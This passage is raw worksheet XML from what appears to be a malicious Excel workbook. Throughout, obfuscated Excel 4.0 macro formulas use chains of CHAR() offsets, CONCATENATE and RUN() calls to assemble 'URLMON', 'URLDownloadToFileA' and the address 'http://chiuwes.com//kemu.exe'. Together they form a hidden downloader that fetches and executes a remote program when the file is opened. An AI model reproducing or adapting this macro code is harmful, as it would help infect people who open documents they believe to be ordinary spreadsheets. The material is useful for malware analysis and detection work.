t="b"><f>RUN($AY$1760)</f><v>0</v></c></row><row r="784" spans="12:243" x14ac:dyDescent="0.25"><c r="II784" t="str"><f>CHAR($HE$1778-447)</f><v>e</v></c></row><row r="786" spans="64:230" x14ac:dyDescent="0.25"><c r="BL786"><v>558</v></c></row><row r="789" spans="64:230" x14ac:dyDescent="0.25"><c r="DT789" t="str"><f>CONCATENATE($CM$1303)</f><v>URLDownloadToFileA</v></c></row><row r="792" spans="64:230" x14ac:dyDescent="0.25"><c r="EV792"><v>333</v></c></row><row r="794" spans="64:230" x14ac:dyDescent="0.25"><c r="BL794"><v>552</v></c></row><row r="795" spans="64:230" x14ac:dyDescent="0.25"><c r="BX795"><v>641</v></c></row><row r="796" spans="64:230" x14ac:dyDescent="0.25"><c r="HV796"><v>512</v></c></row><row r="804" spans="20:248" x14ac:dyDescent="0.25"><c r="GA804" t="b"><f>RUN($CN$381)</f><v>0</v></c></row><row r="807" spans="20:248" x14ac:dyDescent="0.25"><c r="DW807" t="str"><f>CHAR($DE$1796-50)</f><v>e</v></c><c r="IN807" t="str"><f>CHAR($Y$402-262)</f><v>P</v></c></row><row r="808" spans="20:248" x14ac:dyDescent="0.25"><c r="V808"><v>548</v></c></row><row r="812" spans="20:248" x14ac:dyDescent="0.25"><c r="T812"><v>97</v></c></row><row r="820" spans="71:182" x14ac:dyDescent="0.25"><c r="DC820" t="str"><f>CHAR($IK$1092-533)</f><v>K</v></c></row><row r="821" spans="71:182" x14ac:dyDescent="0.25"><c r="BS821" t="str"><f>CHAR($CG$209-50)</f><v>k</v></c></row><row r="823" spans="71:182" x14ac:dyDescent="0.25"><c r="CM823"><v>23</v></c></row><row r="827" spans="71:182" x14ac:dyDescent="0.25"><c r="FZ827"><v>1</v></c></row><row r="833" spans="41:228" x14ac:dyDescent="0.25"><c r="FN833"><v>154</v></c></row><row r="835" spans="41:228" x14ac:dyDescent="0.25"><c r="HT835"><v>559</v></c></row><row r="842" spans="41:228" x14ac:dyDescent="0.25"><c r="AO842" t="b"><f>RUN($GY$60)</f><v>0</v></c><c r="BY842" t="b"><f>RUN($HZ$875)</f><v>0</v></c></row><row r="863" spans="227:235" x14ac:dyDescent="0.25"><c r="IA863"><v>94</v></c></row><row r="864" spans="227:235" x14ac:dyDescent="0.25"><c r="HS864"><v>90</v></c></row><row r="865" spans="22:234" x14ac:dyDescent="0.25"><c r="V865" t="b"><f>RUN($GF$334)</f><v>0</v></c></row><row r="866" spans="22:234" x14ac:dyDescent="0.25"><c r="FF866"><v>354</v></c></row><row r="867" spans="22:234" x14ac:dyDescent="0.25"><c r="BR867" t="str"><f>CHAR($BT$158-533)</f><v>h</v></c></row><row r="871" spans="22:234" x14ac:dyDescent="0.25"><c r="FZ871" t="str"><f>CHAR($IL$1629-262)</f><v>W</v></c></row><row r="875" spans="22:234" x14ac:dyDescent="0.25"><c r="DQ875"><v>563</v></c><c r="HZ875" t="b"><f>RUN($HL$1258)</f><v>0</v></c></row><row r="876" spans="22:234" x14ac:dyDescent="0.25"><c r="FM876" t="b"><f>RUN($CL$135)</f><v>0</v></c><c r="GA876"><v>566</v></c></row><row r="879" spans="22:234" x14ac:dyDescent="0.25"><c r="AA879"><v>71</v></c></row><row r="882" spans="49:219" x14ac:dyDescent="0.25"><c r="AW882"><v>97</v></c></row><row r="884" spans="49:219" x14ac:dyDescent="0.25"><c r="EP884" t="str"><f>CONCATENATE($CA$1144,$BO$1087,$CA$1903,$FE$349)</f><v>Open</v></c></row><row r="886" spans="49:219" x14ac:dyDescent="0.25"><c r="EU886" t="b"><f>RUN($BK$1309)</f><v>0</v></c></row><row r="891" spans="49:219" x14ac:dyDescent="0.25"><c r="HK891" t="str"><f>CHAR($FW$1185-447)</f><v>o</v></c></row><row r="892" spans="49:219" x14ac:dyDescent="0.25"><c r="GB892" t="b"><f>RUN($BR$1780)</f><v>0</v></c></row><row r="897" spans="13:177" x14ac:dyDescent="0.25"><c r="BF897" t="str"><f>CHAR($EK$1544-50)</f><v>t</v></c></row><row r="902" spans="13:177" x14ac:dyDescent="0.25"><c r="M902"><v>43</v></c></row><row r="904" spans="13:177" x14ac:dyDescent="0.25"><c r="FU904"><v>13</v></c></row><row r="906" spans="13:177" x14ac:dyDescent="0.25"><c r="Z906" t="b"><f>RUN($FX$73)</f><v>0</v></c></row><row r="907" spans="13:177" x14ac:dyDescent="0.25"><c r="DF907" t="b"><f>RUN($HG$1155)</f><v>0</v></c></row><row r="912" spans="13:177" x14ac:dyDescent="0.25"><c r="FL912" t="str"><f>CHAR($AH$1313-447)</f><v>A</v></c></row><row r="920" spans="75:153" x14ac:dyDescent="0.25"><c r="EW920" t="b"><f>RUN($DW$1119)</f><v>0</v></c></row><row r="927" spans="75:153" x14ac:dyDescent="0.25"><c r="BW927"><v>367</v></c></row><row r="931" spans="41:217" x14ac:dyDescent="0.25"><c r="HI931"><v>94</v></c></row><row r="936" spans="41:217" x14ac:dyDescent="0.25"><c r="AO936" t="str"><f>CHAR($E$527-447)</f><v>F</v></c></row><row r="939" spans="41:217" x14ac:dyDescent="0.25"><c r="CW939" t="str"><f>CHAR($EH$1389-447)</f><v>l</v></c></row><row r="945" spans="53:240" x14ac:dyDescent="0.25"><c r="BA945" t="b"><f>RUN($EN$382)</f><v>0</v></c></row><row r="946" spans="53:240" x14ac:dyDescent="0.25"><c r="FO946"><v>92</v></c><c r="IF946"><v>108</v></c></row><row r="949" spans="53:240" x14ac:dyDescent="0.25"><c r="BG949" t="b"><f>RUN($IA$691)</f><v>0</v></c></row><row r="955" spans="53:240" x14ac:dyDescent="0.25"><c r="BL955"><v>16</v></c></row><row r="957" spans="53:240" x14ac:dyDescent="0.25"><c r="IE957"><v>54</v></c></row><row r="958" spans="53:240" x14ac:dyDescent="0.25"><c r="EX958" t="str"><f>CONCATENATE($FY$529)</f><v>e</v></c></row><row r="963" spans="14:208" x14ac:dyDescent="0.25"><c r="GZ963" t="b"><f>RUN($GJ$304)</f><v>0</v></c></row><row r="966" spans="14:208" x14ac:dyDescent="0.25"><c r="N966"><v>99</v></c></row><row r="976" spans="14:208" x14ac:dyDescent="0.25"><c r="BM976" t="str"><f>CHAR($BR$67-447)</f><v>l</v></c><c r="DN976" t="b"><f>RUN($EO$1753)</f><v>0</v></c></row><row r="983" spans="107:242" x14ac:dyDescent="0.25"><c r="DC983"><v>14</v></c></row><row r="984" spans="107:242" x14ac:dyDescent="0.25"><c r="IH984"><v>634</v></c></row><row r="988" spans="107:242" x14ac:dyDescent="0.25"><c r="FC988" t="str"><f>CHAR($AD$575-533)</f><v>R</v></c></row><row r="995" spans="45:191" x14ac:dyDescent="0.25"><c r="CD995"><v>69</v></c></row><row r="999" spans="45:191" x14ac:dyDescent="0.25"><c r="AS999"><v>82</v></c></row><row r="1000" spans="45:191" x14ac:dyDescent="0.25"><c r="GI1000"><v>33</v></c></row><row r="1003" spans="45:191" x14ac:dyDescent="0.25"><c r="FW1003" t="str"><f>CHAR($GW$38-50)</f><v>c</v></c></row><row r="1007" spans="45:191" x14ac:dyDescent="0.25"><c r="CH1007"><v>92</v></c></row><row r="1014" spans="79:222" x14ac:dyDescent="0.25"><c r="DE1014" t="str"><f>CHAR($FT$1942-533)</f><v>3</v></c></row><row r="1016" spans="79:222" x14ac:dyDescent="0.25"><c r="HN1016"><v>48</v></c></row><row r="1017" spans="79:222" x14ac:dyDescent="0.25"><c r="CA1017" t="str"><f>CHAR($AK$130-447)</f><v>l</v></c></row><row r="1019" spans="79:222" x14ac:dyDescent="0.25"><c r="ER1019"><v>55</v></c></row><row r="1025" spans="31:130" x14ac:dyDescent="0.25"><c r="DZ1025" t="str"><f>CHAR($GC$660-262)</f><v>x</v></c></row><row r="1031" spans="31:130" x14ac:dyDescent="0.25"><c r="BB1031"><v>72</v></c></row><row r="1037" spans="31:130" x14ac:dyDescent="0.25"><c r="AE1037" t="str"><f>CONCATENATE($AE$683)</f><v>http://chiuwes.com//kemu.exe</v></c></row><row r="1041" spans="9:241" x14ac:dyDescent="0.25"><c r="FD1041"><v>373</v></c></row><row r="1043" spans="9:241" x14ac:dyDescent="0.25"><c r="HC1043"><v>67</v></c></row><row r="1044" spans="9:241" x14ac:dyDescent="0.25"><c r="DH1044" t="b"><f>RUN($AM$1131)</f><v>0</v></c><c r="DX1044"><v>30</v></c></row><row r="1047" spans="9:241" x14ac:dyDescent="0.25"><c r="IG1047" t="b"><f>RUN($CX$1580)</f><v>0</v></c></row><row r="1051" spans="9:241" x14ac:dyDescent="0.25"><c r="GJ1051" t="str"><f>CHAR($FD$1041-262)</f><v>o</v></c></row><row r="1056" spans="9:241" x14ac:dyDescent="0.25"><c r="I1056" t="b"><f>RUN($AG$168)</f><v>0</v></c><c r="GB1056" t="b"><f>RUN($BC$491)</f><v>0</v></c></row><row r="1061" spans="11:245" x14ac:dyDescent="0.25"><c r="FT1061" t="str"><f>CHAR($L$269-447)</f><v>E</v></c><c r="HP1061" t="str"><f>CHAR($HE$1299-447)</f><v>S</v></c></row><row r="1064" spans="11:245" x14ac:dyDescent="0.25"><c r="K1064"><v>12</v></c><c r="AU1064" t="b"><f>RUN($DS$1777)</f><v>0</v></c></row><row r="1065" spans="11:245" x14ac:dyDescent="0.25"><c r="HG1065" t="b"><f>RUN($AO$1292)</f><v>0</v></c></row><row r="1067" spans="11:245" x14ac:dyDescent="0.25"><c r="IK1067" t="b"><f>RUN($EW$1505)</f><v>0</v></c></row><row r="1071" spans="11:245" x14ac:dyDescent="0.25"><c r="EG1071" t="b"><f>RUN($AF$1710)</f><v>0</v></c></row><row r="1073" spans="59:231" x14ac:dyDescent="0.25"><c r="BG1073" t="str"><f>CHAR($CK$399-447)</f><v>t</v></c></row><row r="1083" spans="59:231" x14ac:dyDescent="0.25"><c r="GX1083"><v>67</v></c><c r="GY1083"><v>86</v></c></row><row r="1087" spans="59:231" x14ac:dyDescent="0.25"><c r="BO1087" t="str"><f>CHAR($HT$835-447)</f><v>p</v></c><c r="HW1087"><v>364</v></c></row><row r="1088" spans="59:231" x14ac:dyDescent="0.25"><c r="BK1088" t="str"><f>CHAR($AU$227-50)</f><v>e</v></c></row><row r="1089" spans="74:245" x14ac:dyDescent="0.25"><c r="CR1089" t="str"><f>CHAR($EA$1974-533)</f><v>r</v></c></row><row r="1092" spans="74:245" x14ac:dyDescent="0.25"><c r="IK1092"><v>608</v></c></row><row r="1103" spans="74:245" x14ac:dyDescent="0.25"><c r="BV1103" t="b"><f>RUN($HR$1657)</f><v>0</v></c></row><row r="1106" spans="127:133" x14ac:dyDescent="0.25"><c r="EC1106"><v>25</v></c></row><row r="1119" spans="127:133" x14ac:dyDescent="0.25"><c r="DW1119" t="b"><f>RUN($HV$665)</f><v>0</v></c></row><row r="1124" spans="11:196" x14ac:dyDescent="0.25"><c r="AM1124" t="b"><f>RUN($DZ$1313)</f><v>0</v></c></row><row r="1129" spans="11:196" x14ac:dyDescent="0.25"><c r="FP1129"><v>584</v></c></row><row r="1130" spans="11:196" x14ac:dyDescent="0.25"><c r="FA1130" t="b"><f>RUN($L$778)</f><v>0</v></c></row><row r="1131" spans="11:196" x14ac:dyDescent="0.25"><c r="AM1131" t="b"><f>RUN($FZ$1831)</f><v>0</v></c><c r="CD1131" t="str"><f>CHAR($FN$833-50)</f><v>h</v></c></row><row r="1132" spans="11:196" x14ac:dyDescent="0.25"><c r="K1132" t="str"><f>CHAR($IC$1664-262)</f><v>\</v></c><c r="GN1132"><v>34</v></c></row><row r="1137" spans="75:149" x14ac:dyDescent="0.25"><c r="ES1137" t="b"><f>RUN($AM$1124)</f><v>0</v></c></row><row r="1144" spans="75:149" x14ac:dyDescent="0.25"><c r="CA1144" t="str"><f>CHAR($DE$56-447)</f><v>O</v></c></row><row r="1145" spans="75:149" x14ac:dyDescent="0.25"><c r="DJ1145" t="b"><f>RUN($BG$949)</f><v>0</v></c></row><row r="1149" spans="75:149" x14ac:dyDescent="0.25"><c r="BW1149"><v>568</v></c></row><row r="1153" spans="50:238" x14ac:dyDescent="0.25"><c r="IC1153"><v>92</v></c></row><row r="1155" spans="50:238" x14ac:dyDescent="0.25"><c r="HG1155" t="b"><f>RUN($GB$892)</f><v>0</v></c></row><row r="1157" spans="50:238" x14ac:dyDescent="0.25"><c r="AX1157" t="b"><f>RUN($FJ$1477)</f><v>0</v></c><c r="ID1157"><v>308</v></c></row><row r="1161" spans="50:238" x14ac:dyDescent="0.25"><c r="EV1161" t="b"><f>RUN($II$1566)</f><v>0</v></c></row><row r="1170" spans="16:182" x14ac:dyDescent="0.25"><c r="FZ1170" t="b"><f>RUN($BV$1103)</f><v>0</v></c></row><row r="1180" spans="16:182" x14ac:dyDescent="0.25"><c r="BJ1180" t="str"><f>CHAR($EI$1361-262)</f><v>b</v></c></row><row r="1182" spans="16:182" x14ac:dyDescent="0.25"><c r="P1182" t="b"><f>RUN($AZ$1478)</f><v>0</v></c></row><row r="1185" spans="179:220" x14ac:dyDescent="0.25"><c r="FW1185"><v>558</v></c></row><row r="1192" spans="179:220" x14ac:dyDescent="0.25"><c r="HL1192"><v>557</v></c></row><row r="1202" spans="78:228" x14ac:dyDescent="0.25"><c r="HT1202" t="str"><f>CHAR($EV$792-262)</f><v>G</v></c></row><row r="1203" spans="78:228" x14ac:dyDescent="0.25"><c r="BZ1203"><v>25</v></c></row><row r="1211" spans="78:228" x14ac:dyDescent="0.25"><c r="FQ1211"><v>97</v></c></row><row r="1219" spans="5:243" x14ac:dyDescent="0.25"><c r="HA1219"><v>561</v></c></row><row r="1226" spans="5:243" x14ac:dyDescent="0.25"><c r="BN1226" t="b"><f>RUN($GI$1363)</f><v>0</v></c></row><row r="1228" spans="5:243" x14ac:dyDescent="0.25"><c r="II1228"><v>35</v></c></row><row r="1229" spans="5:243" x14ac:dyDescent="0.25"><c r="E1229"><v>93</v></c><c r="CA1229"><v>512</v></c></row><row r="1238" spans="30:203" x14ac:dyDescent="0.25"><c r="AD1238"><v>4</v></c></row><row r="1245" spans="30:203" x14ac:dyDescent="0.25"><c r="GE1245"><v>38</v></c><c r="GU1245"><v>88</v></c></row><row r="1254" spans="159:227" x14ac:dyDescent="0.25"><c r="HS1254"><v>609</v></c></row><row r="1257" spans="159:227" x14ac:dyDescent="0.25"><c r="FC1257"><v>612</v></c></row><row r="1258" spans="159:227" x14ac:dyDescent="0.25"><c r="HL1258" t="b"><f>RUN($IE$1803)</f><v>0</v></c></row><row r="1260" spans="159:227" x14ac:dyDescent="0.25"><c r="GO1260"><v>161</v></c></row><row r="1263" spans="159:227" x14ac:dyDescent="0.25"><c r="GT1263"><v>36</v></c></row><row r="1274" spans="94:94" x14ac:dyDescent="0.25"><c r="CP1274"><v>548</v></c></row><row r="1286" spans="41:130" x14ac:dyDescent="0.25"><c r="CK1286" t="b"><f>RUN($HV$306)</f><v>0</v></c></row><row r="1292" spans="41:130" x14ac:dyDescent="0.25"><c r="AO1292" t="b"><f>RUN($EP$1800)</f><v>0</v></c></row><row r="1295" spans="41:130" x14ac:dyDescent="0.25"><c r="DZ1295"><v>548</v></c></row><row r="1299" spans="10:237" x14ac:dyDescent="0.25"><c r="HE1299"><v>530</v></c></row><row r="1303" spans="10:237" x14ac:dyDescent="0.25"><c r="CM1303" t="str"><f>CONCATENATE($AK$52,$M$153,$FX$1541,$BE$1732,$CY$1973,$HM$653,$GG$358,$CA$1017,$EK$1835,$EW$245,$AD$1884,$BD$516,$IC$432,$AO$936,$IK$396,$BM$976,$EW$456,$FL$912)</f><v>URLDownloadToFileA</v></c></row><row r="1304" spans="10:237" x14ac:dyDescent="0.25"><c r="J1304"><v>320</v></c></row><row r="1309" spans="10:237" x14ac:dyDescent="0.25"><c r="BK1309" t="b"><f>RUN($BK$1760)</f><v>0</v></c><c r="IB1309"><v>1</v></c></row><row r="1310" spans="10:237" x14ac:dyDescent="0.25"><c r="AF1310"><v>30</v></c><c r="IC1310" t="str"><f>CHAR($DW$1775-50)</f><v>u</v></c></row><row r="1313" spans="16:243" x14ac:dyDescent="0.25"><c r="AH1313"><v>512</v></c><c r="DZ1313" t="b"><f>RUN($IL$115)</f><v>0</v></c></row><row r="1324" spans="16:243" x14ac:dyDescent="0.25"><c r="DX1324" t="b"><f>RUN($HG$1065)</f><v>0</v></c></row><row r="1325" spans="16:243" x14ac:dyDescent="0.25"><c r="EE1325"><v>73</v></c><c r="GA1325"><v>363</v></c></row><row r="1327" spans="16:243" x14ac:dyDescent="0.25"><c r="P1327" t="b"><f>RUN($BJ$1918)</f><v>0</v></c><c r="II1327" t="str"><f>CHAR($FP$1129-533)</f><v>3</v></c></row><row r="1330" spans="80:187" x14ac:dyDescent="0.25"><c r="EA1330"><v>151</v></c></row><row r="1337" spans="80:187" x14ac:dyDescent="0.25"><c r="CB1337" t="str"><f>CHAR($BX$795-533)</f><v>l</v></c></row><row r="1339" spans="80:187" x14ac:dyDescent="0.25"><c r="EZ1339"><v>83</v></c></row><row r="1342" spans="80:187" x14ac:dyDescent="0.25"><c r="GE1342" t="b"><f>RUN($EQ$1375)</f><v>0</v></c></row><row r="1348" spans="121:121" x14ac:dyDescent="0.25"><c r="DQ1348" t="str"><f>CHAR($GR$106-262)</f><v>I</v></c></row><row r="1361" spans="70:229" x14ac:dyDescent="0.25"><c r="EI1361"><v>360</v></c><c r="HG1361" t="b"><f>RUN($P$1327)</f><v>0</v></c></row><row r="1363" spans="70:229" x14ac:dyDescent="0.25"><c r="GI1363" t="b"><f>RUN($CH$1960)</f><v>0</v></c></row><row r="1365" spans="70:229" x14ac:dyDescent="0.25"><c r="BR1365"><v>54</v></c></row><row r="1371" spans="70:229" x14ac:dyDescent="0.25"><c r="FA1371"><v>329</v></c></row><row r="1375" spans="70:229" x14ac:dyDescent="0.25"><c r="EQ1375" t="b"><f>RUN($FZ$1170)</f><v>0</v></c></row><row r="1376" spans="70:229" x14ac:dyDescent="0.25"><c r="HU1376" t="b"><f>RUN($GQ$1430)</f><v>0</v></c></row><row r="1379" spans="28:174" x14ac:dyDescent="0.25"><c r="BY1379"><v>28</v></c></row><row r="1381" spans="28:174" x14ac:dyDescent="0.25"><c r="DQ1381" t="b"><f>RUN($CF$1778)</f><v>0</v></c></row><row r="1385" spans="28:174" x14ac:dyDescent="0.25"><c r="DX1385"><v>551</v></c></row><row r="1388" spans="28:174" x14ac:dyDescent="0.25"><c r="FR1388" t="str"><f>CHAR($AN$1929-533)</f><v>l</v></c></row><row r="1389" spans="28:174" x14ac:dyDescent="0.25"><c r="BU1389" t="str"><f>CHAR($IF$946-50)</f><v>:</v></c><c r="EH1389"><v>555</v></c></row><row r="1391" spans="28:174" x14ac:dyDescent="0.25"><c r="AB1391" t="str"><f>CHAR($BA$1715-447)</f><v>i</v></c></row><row r="1395" spans="38:241" x14ac:dyDescent="0.25"><c r="AL1395"><v>3</v></c></row><row r="1396" spans="38:241" x14ac:dyDescent="0.25"><c r="IG1396" t="b"><f>RUN($GV$203)</f><v>0</v></c></row><row r="1397" spans="38:241" x14ac:dyDescent="0.25"><c r="DB1397"><v>166</v></c></row><row r="1406" spans="38:241" x14ac:dyDescent="0.25"><c r="GM1406"><v>6</v></c></row><row r="1412" spans="11:77" x14ac:dyDescent="0.25"><c r="K1412" t="b"><f>RUN($EU$886)</f><v>0</v></c></row><row r="1419" spans="11:77" x14ac:dyDescent="0.25"><c r="BY1419"><v>78</v></c></row><row r="1425" spans="2:232" x14ac:dyDescent="0.25"><c r="CA1425"><v>14</v></c></row><row r="1427" spans="2:232" x14ac:dyDescent="0.25"><c r="B1427"><v>366</v></c></row><row r="1430" spans="2:232" x14ac:dyDescent="0.25"><c r="GQ1430" t="b"><f>RUN($AX$1157)</f><v>0</v></c></row><row r="1431" spans="2:232" x14ac:dyDescent="0.25"><c r="DE1431" t="b"><f>RUN($GE$1342)</f><v>0</v></c></row><row r="1435" spans="2:232" x14ac:dyDescent="0.25"><c r="HX1435" t="str"><f>CHAR($DE$1969-50)</f><v>/</v></c></row><row r="1443" spans="62:159" x14ac:dyDescent="0.25"><c r="EU1443" t="str"><f>CHAR($A$61-447)</f><v>t</v></c></row><row r="1445" spans="62:159" x14ac:dyDescent="0.25"><c r="BJ1445"><v>35</v></c></row><row r="1449" spans="62:159" x14ac:dyDescent="0.25"><c r="DB1449"><v>547</v></c></row><row r="1451" spans="62:159" x14ac:dyDescent="0.25"><c r="FC1451"><v>558</v></c></row><row r="1453" spans="62:159" x14ac:dyDescent="0.25"><c r="ES1453"><v>155</v></c></row><row r="1462" spans="59:238" x14ac:dyDescent="0.25"><c r="GU1462" t="str"><f>CHAR($GT$26-262)</f><v>T</v></c><c r="ID1462" t="str"><f>CHAR($DG$268-262)</f><v>l</v></c></row><row r="1465" spans="59:238" x14ac:dyDescent="0.25"><c r="BG1465"><v>52</v></c></row><row r="1474" spans="52:166" x14ac:dyDescent="0.25"><c r="DN1474" t="str"><f>CHAR($CX$138-50)</f><v>m</v></c></row><row r="1477" spans="52:166" x14ac:dyDescent="0.25"><c r="FJ1477" t="b"><f>RUN($V$865)</f><v>0</v></c></row><row r="1478" spans="52:166" x14ac:dyDescent="0.25"><c r="AZ1478" t="b"><f>RUN($DG$1519)</f><v>0</v></c></row><row r="1488" spans="52:166" x14ac:dyDescent="0.25"><c r="EX1488" t="b"><f>RUN($GX$146)</f><v>0</v></c></row><row r="1489" spans="43:217" x14ac:dyDescent="0.25"><c r="HI1489"><v>514</v></c></row><row r="1493" spans="43:217" x14ac:dyDescent="0.25"><c r="AQ1493"><v>97</v></c></row><row r="1505" spans="3:186" x14ac:dyDescent="0.25"><c r="EW1505" t="b"><f>RUN($GN$320)</f><v>0</v></c></row><row r="1506" spans="3:186" x14ac:dyDescent="0.25"><c r="EI1506"><v>79</v></c></row><row r="1508" spans="3:186" x14ac:dyDescent="0.25"><c r="C1508" t="str"><f>CHAR($GR$1756-50)</f><v>p</v></c></row><row r="1511" spans="3:186" x14ac:dyDescent="0.25"><c r="DZ1511"><v>515</v></c><c r="GD1511"><v>641</v></c></row><row r="1514" spans="3:186" x14ac:dyDescent="0.25"><c r="AI1514" t="b"><f>RUN($GG$1633)</f><v>0</v></c></row><row r="1516" spans="3:186" x14ac:dyDescent="0.25"><c r="CY1516" t="str"><f>CHAR($EA$1330-50)</f><v>e</v></c></row><row r="1517" spans="3:186" x14ac:dyDescent="0.25"><c r="EC1517"><v>544</v></c></row><row r="1519" spans="3:186" x14ac:dyDescent="0.25"><c r="DG1519" t="b"><f>RUN($Q$1943)</f><v>0</v></c></row><row r="1521" spans="10:163" x14ac:dyDescent="0.25"><c r="CR1521"><v>66</v></c></row><row r="1527" spans="10:163" x14ac:dyDescent="0.25"><c r="J1527" t="str"><f>CHAR($BN$1679-50)</f><v>u</v></c></row><row r="1530" spans="10:163" x14ac:dyDescent="0.25"><c r="FG1530" t="str"><f>CONCATENATE($DP$274,$FC$988,$GO$708,$GW$345,$CX$187,$HD$138)</f><v>URLMON</v></c></row><row r="1537" spans="56:243" x14ac:dyDescent="0.25"><c r="BD1537"><v>555</v></c></row><row r="1541" spans="56:243" x14ac:dyDescent="0.25"><c r="FX1541" t="str"><f>CHAR($AY$1976-447)</f><v>L</v></c></row><row r="1543" spans="56:243" x14ac:dyDescent="0.25"><c r="EW1543" t="str"><f>CHAR($V$808-447)</f><v>e</v></c><c r="II1543" t="str"><f>CHAR($DV$1635-50)</f><v>s</v></c></row><row r="1544" spans="56:243" x14ac:dyDescent="0.25"><c r="EK1544"><v>166</v></c></row><row r="1550" spans="56:243" x14ac:dyDescent="0.25"><c r="HW1550" t="b"><f>RUN($IK$363)</f><v>0</v></c></row><row r="1551" spans="56:243" x14ac:dyDescent="0.25"><c r="FB1551"><v>46</v></c></row><row r="1555" spans="225:243" x14ac:dyDescent="0.25"><c r="HQ1555"><v>79</v></c></row><row r="1566" spans="225:243" x14ac:dyDescent="0.25"><c r="II1566" t="b"><f>RUN($GZ$963)</f><v>0</v></c></row><row r="1579" spans="6:248" x14ac:dyDescent="0.25"><c r="HT1579"><v>99</v></c></row><row r="1580" spans="6:248" x14ac:dyDescent="0.25"><c r="CX1580" t="b"><f>RUN($DW$249)</f><v>0</v></c><c r="GG1580" t="b"><f>RUN($GS$138)</f><v>0</v></c></row><row r="1581" spans="6:248" x14ac:dyDescent="0.25"><c r="EF1581" t="str"><f>CHAR($V$1584-262)</f><v>R</v></c></row><row r="1582" spans="6:248" x14ac:dyDescent="0.25"><c r="IN1582"><v>39</v></c></row><row r="1583" spans="6:248" x14ac:dyDescent="0.25"><c r="F1583"><v>557</v></c></row><row r="1584" spans="6:248" x14ac:dyDescent="0.25"><c r="N1584" t="str"><f>CHAR($J$1304-262)</f><v>:</v></c><c r="V1584"><v>344</v></c><c r="EN1584"><v>618</v></c></row><row r="1585" spans="137:247" x14ac:dyDescent="0.25"><c r="EG1585" t="str"><f>CHAR($ES$1453-50)</f><v>i</v></c></row><row r="1596" spans="137:247" x14ac:dyDescent="0.25"><c r="IK1596" t="b"><f>RUN($BA$945)</f><v>0</v></c></row><row r="1598" spans="137:247" x14ac:dyDescent="0.25"><c r="IM1598"><v>99</v></c></row><row r="1602" spans="5:195" x14ac:dyDescent="0.25"><c r="AP1602"><v>384</v></c></row><row r="1606" spans="5:195" x14ac:dyDescent="0.25"><c r="GM1606" t="str"><f>CHAR($CS$1701-533)</f><v>e</v></c></row><row r="1607" spans="5:195" x14ac:dyDescent="0.25"><c r="E1607"><v>32</v></c></row><row r="1613" spans="5:195" x14ac:dyDescent="0.25"><c r="AI1613" t="b"><f>RUN($EK$1994)</f><v>0</v></c><c r="EM1613"><v>354</v></c></row><row r="1627" spans="28:246" x14ac:dyDescent="0.25"><c r="AB1627"><v>85</v></c></row><row r="1629" spans="28:246" x14ac:dyDescent="0.25"><c r="FW1629"><v>43</v></c><c r="IL1629"><v>349</v></c></row><row r="1632" spans="28:246" x14ac:dyDescent="0.25"><c r="FK1632"><v>334</v></c></row><row r="1633" spans="18:189" x14ac:dyDescent="0.25"><c r="GG1633" t="b"><f>RUN($GM$1815)</f><v>0</v></c></row><row r="1634" spans="18:189" x14ac:dyDescent="0.25"><c r="DJ1634"><v>8</v></c></row><row r="1635" spans="18:189" x14ac:dyDescent="0.25"><c r="DV1635"><v>165</v></c></row><row r="1638" spans="18:189" x14ac:dyDescent="0.25"><c r="R1638"><v>39</v></c></row><row r="1649" spans="12:237" x14ac:dyDescent="0.25"><c r="DU1649"><v>548</v></c></row><row r="1656" spans="12:237" x14ac:dyDescent="0.25"><c r="L1656" t="str"><f>CHAR($HD$233-533)</f><v>e</v></c><c r="GE1656"><v>544</v></c><c r="HT1656" t="str"><f>CHAR($ID$1157-262)</f><v>.</v></c></row><row r="1657" spans="12:237" x14ac:dyDescent="0.25"><c r="HR1657" t="b"><f>RUN($DF$907)</f><v>0</v></c></row><row r="1658" spans="12:237" x14ac:dyDescent="0.25"><c r="BZ1658"><v>78</v></c><c r="GG1658" t="str"><f>CHAR($EE$455-262)</f><v>L</v></c><c r="HK1658"><v>37</v></c></row><row r="1664" spans="12:237" x14ac:dyDescent="0.25"><c r="IC1664"><v>354</v></c></row><row r="1666" spans="45:243" x14ac:dyDescent="0.25"><c r="AS1666"><v>75</v></c></row><row r="1667" spans="45:243" x14ac:dyDescent="0.25"><c r="CD1667" t="str"><f>CONCATENATE($FG$1530)</f><v>URLMON</v></c></row><row r="1668" spans="45:243" x14ac:dyDescent="0.25"><c r="GW1668"><v>546</v></c></row><row r="1670" spans="45:243" x14ac:dyDescent="0.25"><c r="DH1670"><v>8</v></c></row><row r="1676" spans="45:243" x14ac:dyDescent="0.25"><c r="DG1676"><v>72</v></c></row><row r="1678" spans="45:243" x14ac:dyDescent="0.25"><c r="II1678" t="b"><f>RUN($IG$1396)</f><v>0</v></c></row><row r="1679" spans="45:243" x14ac:dyDescent="0.25"><c r="BN1679"><v>167</v></c><c r="GY1679" t="str"><f>CHAR($DZ$1295-447)</f><v>e</v></c></row><row r="1681" spans="67:238" x14ac:dyDescent="0.25"><c r="CN1681" t="b"><f>RUN($P$1182)</f><v>0</v></c></row><row r="1688" spans="67:238" x14ac:dyDescent="0.25"><c r="BO1688"><v>71</v></c></row><row r="1691" spans="67:238" x14ac:dyDescent="0.25"><c r="FE1691"><v>529</v></c><c r="ID1691"><v>515</v></c></row><row r="1698" spans="26:234" x14ac:dyDescent="0.25"><c r="Z1698"><v>37</v></c></row><row r="1701" spans="26:234" x14ac:dyDescent="0.25"><c r="CS1701"><v>634</v></c></row><row r="1706" spans="26:234" x14ac:dyDescent="0.25"><c r="GK1706"><v>94</v></c></row><row r="1710" spans="26:234" x14ac:dyDescent="0.25"><c r="AF1710" t="b"><f>RUN($HY$553)</f><v>0</v></c></row><row r="1711" spans="26:234" x14ac:dyDescent="0.25"><c r="HZ1711" t="b"><f>RUN($FY$414)</f><v>0</v></c></row><row r="1715" spans="53:151" x14ac:dyDescent="0.25"><c r="BA1715"><v>552</v></c><c r="BI1715" t="str"><f>CHAR($DX$1385-447)</f><v>h</v></c></row><row r="1718" spans="53:151" x14ac:dyDescent="0.25"><c r="EU1718" t="str"><f>CHAR($HW$1087-262)</f><v>f</v></c></row><row r="1719" spans="53:151" x14ac:dyDescent="0.25"><c r="EF1719"><v>4</v></c></row><row r="1723" spans="53:151" x14ac:dyDescent="0.25"><c r="EG1723" t="str"><f>CHAR($HA$1219-447)</f><v>r</v></c></row><row r="1732" spans="49:240" x14ac:dyDescent="0.25"><c r="BE1732" t="str"><f>CHAR($DZ$1511-447)</f><v>D</v></c></row><row r="1734" spans="49:240" x14ac:dyDescent="0.25"><c r="FV1734" t="str"><f>CHAR($DK$1992-262)</f><v>r</v></c></row><row r="1735" 